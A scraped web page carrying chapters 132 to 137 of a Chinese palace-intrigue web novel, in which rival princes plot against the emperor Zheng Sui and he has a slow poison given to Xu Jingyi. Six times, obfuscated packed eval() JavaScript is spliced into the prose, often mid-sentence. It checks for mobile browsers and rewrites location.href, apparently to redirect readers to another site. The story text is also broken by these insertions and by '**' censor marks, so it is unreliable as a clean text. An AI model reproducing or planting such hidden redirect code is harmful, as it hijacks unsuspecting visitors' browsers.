毕竟如今这种情况,不管他们是继续跟郑遂拼命,还是主动向郑遂告饶,郑遂都不太可能放过他们的。 与其如此,倒不如先跑了再说。 好歹能够保全实力,待到来日有机会的时候,再动手也不迟啊。 可秦王却反问他:“等待时机?本王问你,什么时候才会再有时机?” 想要成大事,就必得天时地利人和。 曾经秦王觉得,自己的时机到了。 而现在冷冰冰的现实却在告诉他,一切都是他在异想天开。 所以,在郑遂已经崛起的情况下,往后他怎么可能还会有机会? 除非老天有眼,一道雷降下来,劈**郑遂。 他们当然可以退,可是往哪退?退了之后怎么办? 更何况,郑遂如今已然是对他动了杀心。 他之前的那些谋算能瞒的滴水不漏,只怕也早就不知道在什么时候,就已经把手伸到自己这边来了。 难道他跑了就不会被发现吗? 第132章 要给他一份大礼 秦王盯着探子,忽然怒吼。 “你让本王退?往哪儿退?!” 他猛地一脚踹翻案几,茶盏碎裂,瓷片溅到探子手背,划出一道血线。 “殿下!”探子连忙把头埋得更低。 “闭嘴!”秦王喘着粗气,大手一挥,“如今郑遂只怕连本王几时睡觉、几时出恭都一清二楚,你以为躲进深山就能逃得掉?今日他能借封后大典引我入瓮,明日就能借剿匪之名把封地翻个底朝天!” 探子浑身发抖,良久,终于颤颤巍巍的问道。 “那殿下打算如何?” 秦王闭眼,呼吸急促,似是正在思索。 片刻之后,他再次睁开眼,表情中布满阴鸷。 “三策。”秦王竖起一根手指。 “第一策,反其道而行。” 秦王狞笑一声:“本王不正面营地,也不退山。本王要光明正大的奉旨入京!” 探子愕然抬头。 秦王难道是疯了吗? 他分明已经意识到了入京的后果是什么,为什么还要去? “殿下三思啊!”探子连忙跪地恳求。 “您这一去,只怕十有**都会遭遇不测。” 纵然郑遂对秦王杀心已起,可是真想动手,可不是什么容易的事。 毕竟还有一个韩王虎视眈眈呢。 想必韩王那边此刻也已经收到郑遂让他们奉旨入京的消息了,难不成韩王就坐得住? 郑遂就算是想动手,也不会连两个藩王一起杀吧? 毕竟那韩王在明面上可没有做什么出格的举动呢,郑遂要是真对他动手,他可就是实打实的背上了一个杀戮手足兄弟的罪名。 纵然他现在已经将皇权收拢大半,可朝中之人又不是个个都为他所用,难不成就不会有人对郑遂生出意见来? 难道就不会有人借机寻事,想要将郑遂拉下高台? 只要韩王那边稍许有些提防,郑遂的精力就会更加分散,不可能全都放在秦王这边。 还是那句话,留得青山在,不怕没柴烧。 就算是暂且躲避,也解决不了问题,郑遂还是会对他们虎视眈眈,可这事儿也还有缓和的余地呀。 或者,去考虑与韩王合谋一下这件事。 想来有韩王的助力,郑遂也轻易动不了他们。 可是秦王却大手一挥:“你少在这里妖言惑众了!本王起码有胆子调兵遣将进攻京城,他韩王有什么?” 到现在为止,韩王也不过就是弄**一个楚王,至今为止都龟缩在荆州迟迟不出呢。 他若是真有本事,早就动手了,何至于等到现在? 和韩王合谋,那无异于羊入虎口。 只怕郑遂那边正愁没有机会将他们两个一网打尽呢,结果机会就自己送上门去了。 怕是那郑遂远在乾清宫里,都得笑掉了大牙! “本王自有打算!” 秦王冷笑。 “郑遂不是下旨让诸王观礼么?本王便做第一个忠顺的,率五百亲卫,披红挂彩,从封地一路吹吹打打过去。他若敢在半途动手,便是诛杀功臣,自毁人心。他若放本王入京……” 秦王嘴角的笑容变得更加诡异起来,看的那探子头皮一阵发麻。 他下意识的不想再听下去了,可是却不能当着秦王的面捂耳朵。 便听秦王一字一顿的道:“本王便在封后大典上,当着文武百官、诸王使节的面,给他演一出血谏。” 探子声音发颤:“殿下要……当庭自戕?” “自戕?”秦王像听了天大的笑话,脸上表情变得更加狰狞起来。 “本王要自揭其罪!” 郑遂的手笔,如今已经昭然若揭。 堂堂一个皇帝,却要用小人之道来行事? 真是天大的笑话! 单凭徐敬意身重剧毒这一点,都足够让郑遂遗臭万年。 进京之后,便去联络徐敬意,有的罪名,要将其扩大。 没有的……那就去制造! 探子被秦王的话吓得脸色惨白:“可徐敬意如今……至少他明面上,还是投靠了陛下的呀,他、他现在可还有胆子反抗陛下?” “他中了毒,又失了势,早恨郑遂入骨。”秦王勾唇。 “你放心吧,他这样的人虽是惜命,他更害怕的自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287963|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己毕生的算计落为一场空。他不会拒绝本王的。” 探子思索一番,倒也觉得这并非不可。 此招虽险,但也却是一条收获极丰的路。 他郑遂不是要当一个好皇帝吗?那就让他当不成。 哪怕是不能将郑遂从皇位置上拖下来,可百姓们哪知朝堂中这些弯弯绕绕。 他们只知道哪个皇帝能真正给他们谋来福利,让他们能安居乐业。 而如今,郑遂对徐敬意如此手段歹毒的打击报复,又怎会不让人唇亡齿寒。 至少在**上,秦王不能让郑遂占了上风。 探子咽了口唾沫:“那……第二策?” 秦王抬手,指向帐外。 “看见那杆黑旗了吗?” 探子回头,帐外猎猎风雪中,一杆残破的黑旗斜插在雪地,旗面绣着褪色的“秦”字。 “本王还有三千死士,皆是昔年随我北征的旧部。他们家人皆在封地,退无可退。”秦王声音低哑。 “若本王在京中事败,他们便即刻焚城,自毁根基。让郑遂得一座焦土,也休想得一个顺民。” 探子瞳孔骤缩:“殿下要……屠自己的封地?” “屠?”秦王笑声癫狂。 “本王是送他们解脱!郑遂不会放过任何一个与本王有关的人,与其等他来杀,不如自己先动手。至少……黄泉路上,本王还能给他们一个痛快!” 探子浑身发冷,几乎瘫软在地。 “那……第三策呢?” 秦王忽然安静下来,声音也变得有些沙哑起来。 “第三策,赌命。” 秦王的手指无意识地摸索着自己手腕间戴着的那串菩提子。 “若前两策皆败……本王便剃度出家,去皇觉寺做一辈子和尚。” 探子怔住。 秦王却笑了。 “郑遂不是最擅‘仁德’么?本王倒要看看,他敢不敢当众屠佛。” 帐外,风雪更急了。 秦王最后望向探子,一字一顿: “去,传令。三日后,拔营入京。” “本王……要给他送一份大礼。” 第133章 做鬼都不会安生 荆州。 深夜韩王府内灯火通明,院子里却没有一个下人敢随意往来。 书房里的氛围一直凝重的很,隐隐约约的能听到里头传来的交谈声。 韩王已经把自己关在里头,足足一天一夜了,先前的时候他谁也不见,直到他的那些心腹幕僚来了,跪在外边求了足足两个时辰,韩王这才开了门让他们进去。 只是,韩王如今脾气火爆的很。 先是有两个幕僚被踹了出来,自己去了刑讯处领罚。 后来有院里的一个小侍女不小心弄出了点动静韩王忽然就大发雷霆直接叫人,把他给拖了出去,当众凌迟。 还是在后院奴仆们**的地方,很多人都看见了。 血腥气经久不散,有从那边出来的人走出了好远都觉得鼻尖有隐隐约约的血腥气味萦绕着。 所有下人们都几乎胆战心惊,生怕下一个就轮到自己。 要知道那可是凌迟,是一种极为痛苦的死法。 这种刑罚,除非罪大恶极,否则就连朝廷都很少用的。 可那个小侍女明明也没犯什么大事,韩王却说杀就杀,其目的已然不是杀鸡儆猴那么简单,分明就是他单纯的怒火发泄。 这个时候谁敢去除韩王的眉头啊,因此都躲得远远的。 除了贴身侍奉韩王的那些奴仆,因为不得已,生怕走得太远,听不到韩王的命令而遭到更严重的处罚,只能硬着头皮留下以外,几乎所有人都离开了。 而书房里头的氛围也没有比外头好到哪里去。 跪在地上的幕僚们是亲眼看到那个小侍女被拖下去的,因此也是战战兢兢。 就算他们在韩王心中的地位要比一个小小侍女高又能怎么样? 万一真的触了韩王的眉头,那岂不是只有等死这一条路? 毕竟之前韩王手刃幕僚的事还历历在目呢。 “都这么久了,你们连个屁也放不出来,本王养你们有什么用?!” 沉默许久的韩王忽然怒吼出声,接着猛的拍案而起。 桌上沉重的紫檀木镇纸竟然被韩王的动作震的剧烈一颤,底下所有人的心立刻都悬到了嗓子眼。 可他们也是有苦难言。 不是他们不肯给韩王出主意,实在是如今这情况出什么主意,都是要冒着风险的呀。 万一搞不好,连小命都丢了,怎么办? 还不如像现在似的龟缩不出。 韩王总不能一个个的把他们全都给杀了。 那韩王就算是再厉害,不也是给自己厉害成了一条光杆司令,半条出路都没有了。 “还不说话是吗?”韩王却又忽然开口。 他眯起眼睛,冷冽的目光扫视过所有人的脸,忽然冷笑一声。 “行,左右本王现在也无路可走了,既然你们一直都是跟着本王的,那本王不如就带着你们一起**。” 反正韩王要是败了,所有人都没有活路的。 与其等到到时候朝廷问罪,还不如现在就一脖子吊上去,算个完,还能得个舒坦的死法。 这回所有人都傻了眼。 先前不久还揣在心里的侥幸,在此刻被韩王的一句话就给击的粉碎。 韩王这是真的动了杀心。 如果韩王只是威胁他们再不开口就杀了他们,或许他们还能再撑一会儿。 但是韩王自己都生出了自暴自弃的想法,他们的命还能保得住吗? “殿下息怒啊。”终于有一个幕僚战战兢兢的开了口。 “您千万不能生出这样的念头,咱们的路还长着呢。” “长?你告诉我哪里长?”韩王冷笑着反问道。 “皇帝下旨,让本王入京去参加他的封后大典。徐敬意那老东西回了京之后,直接就告了本王一状。连护送他回去的那些护卫都已经死的差不多了,你们竟然还能说出本王时日还长的话?!” 韩王气得半死,此刻正脸色发白,几乎已经要昏过去了。 他只恨自己没有跟徐敬意一起入京,竟让徐敬意真的寻到了空子。 原以为已经给他下了毒,又有那么多护卫盯着,哪怕是不能随他一起入宫,他也不敢向郑遂告状的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287964|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可是却没有想到徐敬意这个老东西,竟然真的能向郑遂低头,拼着自己的脸面、和之前半生的筹谋都不要了,也得把自己拖着一起下水。 他难道是脑子里进屎了不成? 还是他感觉,等到郑遂给自己治罪的那一天,他徐敬意还能被郑遂封为功臣啊? 做什么梦啊! 自己死徐敬意就也得死,他才是真的脑子有问题! 那些护卫也是废物,竟然让徐敬意真的把事实真相给说了出去,甚至还直接遭遇了郑遂的毒手。 那郑遂是什么心思,韩王还能不知道吗? 杀了自己这么多手下,无非就是为了一个杀鸡儆猴。 此刻韩王是真真正正的卡在了一个不上不下的位置,进也不是,退也不是。 关键郑遂还让自己进京,可进京跟宋死有什么区别? “可是殿下,咱们不能不去呀。”又一个幕僚开口说道。 “皇帝如今就等着找您的错处呢,如果您真敢不去参加他的封后大典,他立刻就会治你一个大不敬之罪呀。” 光是大不敬之罪,兴许都算轻的了。 万一郑遂直接给他安了一个谋逆的帽子呢? 虽然这也是事实,但毕竟现在韩王也只是在暗中谋划,并没有真刀**的与郑遂的部队干上一仗啊。 就这么被他给治罪了,难道韩王自己不觉得冤吗? 难道真的要一点都不反抗,任凭郑遂处置吗? “他还敢治我的罪!”韩王冷笑一声。 猛的转身抽出挂在一旁的佩剑来,啪的一声砍在了面前的书籍上。 沉重的红木桌子竟然被韩王砍出了一个深深的豁口,这让跪在下边的幕僚们不禁狠狠地缩了一下脖子。 他们总感觉,这剑下一秒就会砍在他们自己的脖子上,当场就会身首异处。 “大不了本王就直接反了!”韩王忽然怒声说道。 哪怕是死,最起码也得是真正兵戎相见吧。 否则就这么憋憋屈屈窝窝囊囊的死,韩王做鬼都不会安生的! 第134章 不如求求清河王 此言一出,更是把下边的幕僚们给吓了一跳。 直接反了? 怎么反? 他们根本就没有那么多可用之人啊! 甚至他们手底下所拥有的兵将都没有当初的秦王多。 为何当初韩王要迂回一圈,先对徐敬意下手呢? 不就是因为徐敬意当初手中的确掌握着实打实的兵权,将他收拢过来,那些兵权不就也归于自己了吗? 可是现在连徐敬意都跑了,他们还能如何利用? 就连秦王都已经两次败在郑遂的手底下了,第二次更是几乎把秦王手中的大将杀了个干净,韩王要反,还不如直接进京去把自己的脖子洗干净了,主动送到郑遂的面前,让他来杀呢。 但是底下的幕僚谁都不敢开口。 他们都看得出来,韩王此刻已经怒火至极,他们要是再敢多说一个字,韩王可能真的要一剑劈死他们。 然而说完了这句话之后,韩王也忽然就沉默了。 那不过是他冲动之下无可奈何说的话而已,其实他自己心里也明白,他已经没有资本和郑遂抗衡了。 可如今还有什么路可走? 要么就是拼一场,带着所有人一起去送死。 可是就看着底下这些人窝窝囊囊的样子,真刀**的干一场又能得到什么好处? 怕是他们根本就不会随着自己一起同生共死。 可难道要他主动向郑遂低头吗? 且不说,这样也很难活命,就是韩王自己也很难拉得下这个脸来。 韩王忽然丧气的坐在了椅子上,缓缓的垂下了头。 他如今只觉得无力至极。 死又死不得,活又活不了,这是人受的罪? 终于,底下有一个幕僚忍不住开口。 “殿下,您何不去试着求助一下清河王?” 韩王愣住,随即缓缓的抬起头来,眯起眼睛看着那个刚才说话的幕僚。 这清河王,是他们这几个兄弟唯一一个皇叔的。 他是太祖所生的小皇子,当年太祖过世的时候,这位清河王也不过三岁大。 因为他是太祖的老来得子,所以自他出生起太祖就对他格外宠溺。 刚满月就直接给封了爵位,还赏赐了府邸,只待有一日他成年,亦或是自己过世之后,就让他搬进去。 而他的府邸并不像其他藩王一般是在各自的封地,而是在京城之中。 这就足以太祖对他的纵容程度了。 寻常皇子,成年之后就绝对不可以留在自己的封地了,以免对立夏的太子造成威胁。 所以当太祖还在世的时候,先帝也是对自己这个最小的弟弟很是防备,担心太祖是否是动了另立太子的念头。 但是当太祖过世之后,公开颁布的圣旨中还是明确将皇位传给了先帝。 而清河王的母妃也亲自去见过先帝,言语恳切。 对先帝说他虽感念太祖恩德,但是的确没有皇子成年后还留在京城之中的道理。 为了让先帝放心,他想要将清河王留在宫中养育。 直到成年后,再离开皇宫。 还恳请先帝能赐予一处封地,不需要太大,也不需要太好,只让清河王能安身立命即可。 而且无论是清河王还是清河王的后人,都永世不会出入朝堂,无召见也不回京城。 直到这时,先帝才终于对他这个弟弟打消了警惕心。 也依照清河王母妃的意思,将其留在了宫中照料,在其成年之后才将他送到封地去。 前些年清河王的母妃就过世了。 而且在他们二人离开京城之前,清河王的母妃就已经主动与自己的娘家断了联系。 清河王如今是处于一个无人帮扶的状态,所以先帝在世的时候,对这个清河王也是半点防备心都没有,甚至随着时间的流逝,他们兄弟二人之间还越发亲切了起来。 平日里就经常有书信往来,先帝也曾经数次照清河王回京会面,每一次都要留他在京城中住上许久。 先帝在过世之前为了给郑遂铺好路,也为了不让徐敬意一家独大无奈之下,把军权分给了各个藩王。 其中自然也少不了他这个弟弟了,毕竟他也是长辈之中唯一一个在世的藩王。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287965|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不过这么长时间以来,清河王那边倒是一点动作都没有。 他似乎一点都没有觊觎皇位的意思,也没有利用手中的兵权去做一些不轨之事。 韩王忍不住皱起了眉。 “留他有何用?他本身就是个闲散王爷,整天只知道闲云野鹤,其他与先帝的关系又那么好,难道本王去找他,他就能允诺帮助本王?” “殿下此言差矣。”幕僚劝说道。 “别看清河王平日里不言不语,和先帝的关系又看似不错。可实际上在先帝在世的时候,他也是活得如履薄冰。” 他必须得时时刻刻的保持警惕,让先帝以为他一直都是一个安安分分的王爷,他这才能平安过活。 否则一旦他露出半点错处,先帝都是可以随时要了他的命的。 所以表面上的兄友弟恭根本代表不了什么,搞不好这清河王私底下可能是很恨先帝的呢。 既然他心里又恨,又怎么可能会真正认可先帝立下的太子呢? 更何况郑遂自从上位之后,虽然算计了不少,但是明面上也是丢尽了人。 清河王难道就真的能看得过眼吗? 他不动不代表他不想动。 说不定清河王也只是差一个契机呢。 “殿下,属下一位不管怎么样,都先尝试一下再说。” 如若能成,便最好不过。 如若不成,那就只能说明清河王也是个废物,想想办法,封住他的嘴就是了。 左右如今离进京还有些日子,荆州离清河王的封地不远,一来一回要不了多长时间。 这事能否有结论,也不过就几日的功夫,何必现在就早早下次决断,把自己搞得焦头烂额。 韩王闭目,缓缓思索了一番。 也不知道他是真的觉得幕僚所说有道,还是没有别的办法了。 过了许久之后,他终于点了点头。 “既如此,那就依你之言。” 如若清河王不同意,那就直接杀了他,再想想办法栽赃给别人。 借着帮清河王报仇的名头,就可以将他手中的兵权收拢过来了。 第135章 只有两种原因 “那么这件事……” 韩王忽然看向幕僚,笑容变得格外诡异起来。 幕僚肩膀一颤,下意识的觉得韩王不会说出什么好话来。 他缓缓抬起头看向韩王,果真就听韩王一字一顿的说道:“既然是你提议的,那这件事就由你去做吧。” 幕僚忍不住倒吸了一口凉气,当下只恨自己刚才为什么和韩王提出了这样的建议。 且不说韩王这人极其多疑,就说他的行事作风,那也是能托付于人就绝对不自己去做的。 他最担心的就是脏了自己的手,被人拿到切切实实的把柄。 否则他当初就也不会将打探消息的重任交到徐敬意的手中了。 自己提出这个建议,韩王的确采纳了不假,可不也是将他架在了火架上烤吗? 可是他已经是进退两难,拒绝也不是,同意也不是。 韩王又对着他一笑:“怎么?你不高兴吗?” 幕僚这回不回答也不行,只能深深的弯下了腰去,对着韩王拱手作揖。 “属下,遵旨……” 韩王大手一挥:“你近日回去之后便整顿人手,即刻前往清河王封地,本王要在最短的时间内看到成果。” 幕僚颤颤巍巍的颔首:“小人定会为殿下办妥此事。” 他艰难的站起身来,几乎拖着一双瘫软的腿走出了书房。 韩王微微眯起了眼,即刻换来自己的心腹小厮。 “这件事,你跟着他一起去。” 小厮不解:“殿下是不信任刘大人吗?” “此时此刻,本王谁都不信。”韩王冷冷的说道。 郑遂算计他那么久,他却一无所知。 现在想来,只怕自己身边已经被郑遂安插了眼线。 不然他不可能对自己的事了解的那么清楚的。 他真是没有想到,自己当了一辈子捕猎人,最后却被麻雀啄了眼睛。 这幕僚虽然提出了个比较中肯的建议,但是谁又能保证,他提出此举不是因为背后有人撺掇的缘故。 万一他已经被郑遂所收买了,自己贸然前往清河王处,岂不是正好被郑遂抓到了一个谋逆的把柄? 兴许郑遂本来也不知道该如何处置他才好,这回正好给了郑遂杀他的理由。 所以,韩王这才让提议的幕僚亲自前去。 既然是他说的,他就要这么去做。 若他算计背叛自己,也要掂量掂量几斤几两。 如果他没有,那么正好可以替自己联络清河王,办妥此事。 但必须得有人盯着,以免他狗急跳墙,另外也可以在第一时间得知他的动向,免得自己被算计了还一无所知。 这件事必须得让自己的心腹去办,如今眼下自己危机重重,唯一能够信任的也只有这个小厮了。 小厮却有些不放心:“奴才自然愿意为了殿下盯着那边的动静,可是奴才这一走,也不知道会不会遭遇不测。殿下这边若是无人照顾,也不行的呀。” 韩王叹了口气,走上前轻轻拍了拍小厮的肩膀。 “如今也只有你真心实意的为本王考虑了,你放心,本王一定会擅自珍重,也会派人暗中保护你,本王等着你平平安安归来与本王会见的那一天。” 小厮见状,立刻拱手,恭恭敬敬的应了下来。 “奴才遵旨。” 目送着小厮离开之后,韩王有些颓然的坐在了桌边,缓缓低下头,扶住了额。 经历了这么多,韩王只觉自己疲倦不已。 他只想所有事都快点结束,不想再这么提心吊胆的过日子了。 可他不能。 他是皇子,从他出生的那一刻起就注定了他此生的命运。 就连清河王这种深受太祖宠爱的小皇子,到最后失去了父皇的庇护,都也只能日日悬心,对一直对他抱有敌意的先帝做出一副恭敬姿态,装的一副兄友弟恭的模样。 可谁知道这里头能有几分真心呢? 他不能停下来,就算再累也不能。 很多事情开弓就没有回头箭,他若此刻停下脚步,就只有死路一条了。 —— “韩王竟还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287966|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不死心。”郑遂听到手下密探的汇报,不禁冷笑了一声。 “他当那清河王是什么人物?怎会轻易与他为伍。” 就连郑遂见了清河王都要对他礼敬三分,韩王不会以为他说服清河王跟他一起谋反,清河王就会顺他的心意吧。 就算是他舌灿莲花最能洞察人心,清河王也绝对不会与他一起做这大逆不道之事。 王喜小心翼翼的给郑遂按着腿,轻声提醒道:“陛下还是要当心一些为好。” 虽然那清河样表面上闲云野鹤,是最闲散不过的一个藩王了,但那也只是在先帝在世的时候。 先哪怕帝过世之后,他除了来奔赴葬礼以外,就一直在自己的封地闭门不出,可他到底也是皇家出身,正是年轻力壮。 当年先帝为了制衡徐敬意,也是分给了他一部分兵权。 那些兵权说大也大,说小也小,若是真的为清河王所用,又和韩王联合在一起,只怕郑遂手握禁军,也难以应付。 重点是,如今朝廷的其他军权可还都流落在外,没有收回来呢。 “他不会的。”郑遂笃定地说道。 “相反的,他或许能帮朕一个大忙。” 原主的记忆里,有一个模糊的片段。 是在先帝过世之前不久发生的事。 那个时候先帝已经缠绵于病榻,基本上是出气儿多进气儿少了。 但是在临终之前,他还是强迫着病体,明确的立下了遗诏,在他身后唯有太子才可继承皇位。 当时他立下这封遗诏的时候,清河王就在床边。 明面上,人人都以为清河王是在先帝过世之后才来奔丧,但是实际上早在现地察觉到自己大运将尽之时,就已经往清河王的封地偷偷发出了一封密诏,让清河王进京。 至于他究竟是何目的,原主也并不知情。 不过郑遂猜测,先帝之所以会让清河王在自己过世之前来到京城,无外乎是两个原因。 要么就是试探清河王的心意,如果他有取而代之的念头,清河王根本就无法平安离开皇宫。 第136章 他看上去很生气 要么,就是为了托孤。 徐敬意那个时候已经处于权力鼎盛时期,先帝担心就算是他已经为自己心爱的小儿子铺好了路,但徐敬意也会不顾礼法,强行篡位。 所以,郑遂需要一个能够帮助他的人。 那个时候朝中的重要资源都已经被徐敬意瓜分了,唯独可靠的也只是朝中那些老臣,就是所谓的保皇党。 不过光靠他们的力量,似乎也不能与徐敬意对抗。 他需要一个更能代表皇权的人出面,维护郑遂。 那就只有清河王一个了。 所以,郑遂猜测先帝应该是两线并行。 召见清河王入宫的目的,最主要的一点就是试探,其次才是托孤。 以先帝这些年对清河王的警惕程度,清河王不可能不知道,如果他有了反心,就算他掩饰的再好,先帝也未尝看不出来。 届时他就只有死路一条。 清河王活在先帝的觊觎之下,这么多年自然也能看穿这个道理? 因而当他接到密诏,就马不停蹄赶来京城的那一刻,他就已经是对先帝表明了自己的诚意。 他对皇帝绝无觊觎之心,所以先帝才进行了第二步,就是托孤。 先帝在临终之前要做的事情太多了,又担心消息走漏,所以那段时间他几乎除了自己的心腹以外,任何人都不见。 甚至包括原主这个最爱的小儿子。 那时候原主实在是放心不下先帝,所以偷偷摸摸的跑来了乾清宫,躲在屏风后面,想要远远的看上先帝一眼。 结果却没有想到,他正看见清河王跪在先帝的床榻边,二人正在低声交谈着些什么。 想来说的这些话,应该就是有关于托孤的一切事宜了。 后来清河王匆匆离开了皇宫,当他再次露面的时候就已经是先帝过世的几天之后了。 他来也匆匆,去也匆匆,一路上消息都隐瞒的很好,根本就没有人知道他早在先帝过世之前就已经与先帝见过面了。 只是郑遂疑惑一件事,如果清河王受到了先帝的嘱托,为什么在原主登基之后,受到徐敬意的**,一直到现在都没有露过面呢。 思来想去,大约也就只有两种可能了。 要么就是清河王也在筹谋,不方便露面。 要么就是,他和先帝的计划,并不是在这个时候出手。 郑遂以为,应当是后者。 原因很简单。 先帝过世之后,他身边那些贴身伺候的奴仆,全都**。 他们是为先帝陪葬而死的,但是活人殉葬这个规矩,早就已经在前几代皇帝时就已经废除了。 到了先帝这里,却要求身边的奴仆陪葬? 这可能吗? 先帝一生小心谨慎,注重自己的名声,为何到了临了的时候却糊涂了呢? 他难道就真不担心自己会背上千古骂名? 人在活着的时候都那么注重在外人眼中的印象,总不可能因为人之将死,忽然性情大变,什么都不在乎了吧。 换做普通老百姓或许有可能,但是换做先帝,换做任何一个皇室中的子民,都不可能做出这样的事来的。 所以郑遂猜测其实那些贴身奴仆根本就没死,而是以殉葬的名义,悄悄转移到了别的地方。 毕竟先帝给原主留下来的一些东西,确实是交代的不大清楚。 在这样模棱两可的情况下,原主就算是想施展,怕也无迹可寻。 可能很多真相,以及先帝临终前的嘱咐,一直都没有揭穿。 而这些奴仆去了哪儿呢? 郑遂想,或许大概率就是在清河王那边。 自从先帝过世以来的这些日子,他一直闭门不出,或许就是在暗中筹划。 也可能哪怕自己不穿越过来,有一日清河王也会主动站出来,帮原主解决面前的这些难题。 不过这些不重要了,郑遂只需要等一个答案就好。 这个结果,自然会在韩王的人去找了清河王之后便可以揭穿。 正思索之时,外边突然传来了叩门声。 “陛下,影公子回来了。” 郑遂轻轻应了一声:“来吧。” 大殿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287967|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的门被打开,影巫随即大步而入。 他跪地对着郑遂行了个礼,随即给郑遂递过去了一个眼神。 郑遂心领神会挥挥手示意王喜可以先行出去了。 王喜立刻躬身而出,到了门外,将乾清宫里里外外的都守死。 郑遂这才开口。 “东西已经送过去了?” “陛下放心,属下是亲手交到徐敬意的手上的。”影巫说道。 郑遂让影巫去把解毒的药送到徐敬意的手上,不过除此之外,还让影巫加了一瓶其他的药。 是可以让徐敬意身体衰弱,但是却不会在短时间就即刻死去的药。 这个时间大概为三月,已经足够郑遂筹谋很多事了。 “徐敬意那边警惕的很,属下跑了好几趟,他才终于肯放属下进门。属下把药交给他之后,也是百般警惕,费了好一番口舌后,他才终于肯相信。”影巫说道。 “不过他很生气,对属下的态度也不是很好。” 郑遂忍不住轻笑了一声,抬手揉了揉影巫的脑袋。 “小孩子,他要是真的对你态度好了,只怕会毛骨悚然的就变成你自己了。” 影巫点了点头。 郑遂说的有道理,如果徐敬意真能对自己感恩戴德,那只能说明徐敬意是精神出了问题。 如若真是如此,那就也真的没有什么将徐敬意继续留着的必要了,毕竟疯子能做出什么有用的事来? 不过徐敬意到底也没有对影巫做什么了。 如今对他来说最要紧的是解毒,保住自己的性命最为要紧。 所以他当然不可能杀了影巫,毕竟他也担心,万一影巫送来的不是什么所谓的解药,而是另外一种**呢。 那他这条性命岂不是又要折在里头了? 当时徐敬意服用解药的时候,还特地让自己的贴身手下守在身边。 虽然没有对影巫大动干戈,和那些互为虎视眈眈的眼神,还是让影巫觉得难忘不已。 只怕今天如果自己递过去的,真的是个**的话,这会儿早就已经身首异处了。 第137章 被徐敬意的人给打了 不过徐敬意就算是再怎么防备,这背地里的手段又怎么可能会防得住? 影巫到底也是跟鬼师学过本事的人。 他下在徐敬意身上的另外一种药,在短期内是绝对不会发作的。 甚至还会造成身体强健的假象,让徐敬意以为自己的身体彻底好了起来。 等到后边慢慢衰弱的时候,其症状也是和操劳过度差不多。 除非鬼师亲自去把脉,否则是绝对不会查出徐敬意到底是什么情况的。 郑遂点了点头:“做的不错,他没有怀疑你的身份吧?” “陛下放心,他并未怀疑。”影巫说道。 “属下打着鬼师手下的名义前去,世间鲜有人知鬼师,还有属下这个徒弟,所以他竟然不会怀疑到属下身上。另外,徐敬意本是想找人跟着属下,盯着属下这边的动静,但是属下找了个办法甩脱了。” 如今只怕徐敬意的那些手下还像个无头苍蝇似的在满京城里四下搜寻呢。 可是他也不想想自己,哪怕不是鬼师的徒弟,只是他的一个心腹,也不可能随随便便的让徐敬意捉住自己的踪迹吧。 郑遂笑而不语。 看样子这徐敬意如今真是狗急跳墙了,竟然昏招频出,全然不见他曾经的英明果断。 也是。 他已经享受过权力滔天的滋味了,如今的这些根本就是他应得的。 如今他们要做的就只有等待了。 等待鬼师进京城,等待着他的动向。 如果他是直奔徐敬意而去,可以查出徐敬意已经解毒,他就会怀疑到引物的头上。 若二人合作,徐敬意便会越发心急,他背后的那些势力也即刻就会浮出水面。 